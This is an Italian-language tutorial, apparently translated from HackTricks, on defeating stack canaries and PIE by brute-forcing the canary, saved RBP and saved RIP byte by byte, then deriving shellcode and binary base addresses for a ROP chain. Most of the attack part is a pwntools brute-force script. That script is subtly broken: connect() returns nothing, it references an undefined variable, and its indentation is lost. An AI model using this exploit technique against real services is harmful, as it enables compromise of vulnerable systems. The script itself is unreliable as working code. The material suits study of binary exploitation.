BF Addresses in the Stack

Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Se ti trovi di fronte a un binario protetto da un canary e da PIE (Position Independent Executable) probabilmente devi trovare un modo per aggirarli.

Nota che checksec potrebbe non trovare che un binario è protetto da un canary se è stato compilato staticamente e non è in grado di identificare la funzione. Tuttavia, puoi notarlo manualmente se trovi che un valore viene salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire.

Indirizzi Brute-Force

Per aggirare il PIE è necessario leakare alcuni indirizzi. E se il binario non sta leakando nessun indirizzo, il meglio da fare è forzare il RBP e il RIP salvati nello stack nella funzione vulnerabile. Ad esempio, se un binario è protetto utilizzando sia un canary che PIE, puoi iniziare a forzare il canary, quindi i successivi 8 byte (x64) saranno il RBP salvato e i successivi 8 byte saranno il RIP salvato.

Si suppone che l'indirizzo di ritorno all'interno dello stack appartenga al codice binario principale, il quale, se la vulnerabilità si trova nel codice binario, sarà di solito il caso.

Per forzare il RBP e il RIP dal binario puoi capire che un byte indovinato valido è corretto se il programma restituisce qualcosa o semplicemente non va in crash. La stessa funzione fornita per forzare il canary può essere utilizzata per forzare il RBP e il RIP:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

L'ultima cosa di cui hai bisogno per sconfiggere il PIE è calcolare indirizzi utili dagli indirizzi trapelati: il RBP e il RIP.

Dal RBP puoi calcolare dove stai scrivendo il tuo shell nello stack. Questo può essere molto utile per sapere dove scriverai la stringa "/bin/sh\x00" all'interno dello stack. Per calcolare la distanza tra il RBP trapelato e il tuo shellcode, puoi semplicemente mettere un breakpoint dopo aver trapelato il RBP e controllare dove si trova il tuo shellcode, quindi puoi calcolare la distanza tra il codice shell e il RBP:

INI_SHELLCODE = RBP - 1152

Dal RIP è possibile calcolare l'indirizzo di base del file binario PIE di cui avrai bisogno per creare una catena ROP valida. Per calcolare l'indirizzo di base, esegui semplicemente objdump -d vunbinary e controlla gli ultimi indirizzi disassemblati:

In quell'esempio puoi vedere che è necessario solo 1 byte e mezzo per individuare tutto il codice, quindi, l'indirizzo di base in questa situazione sarà il RIP leak ma terminando con "000". Ad esempio, se hai ottenuto il leak 0x562002970ecf, l'indirizzo di base sarà 0x562002970000

elf.address = RIP - (RIP & 0xfff)

Miglioramenti

Secondo alcune osservazioni da questo post, è possibile che quando si rilevano i valori di RBP e RIP, il server non si blocchi con alcuni valori che non sono quelli corretti e lo script BF potrebbe pensare di aver ottenuto quelli giusti. Questo perché è possibile che alcuni indirizzi semplicemente non lo rompano anche se non sono esattamente quelli corretti.

Secondo quel post del blog, è consigliabile aggiungere un breve ritardo tra le richieste al server.

Last updated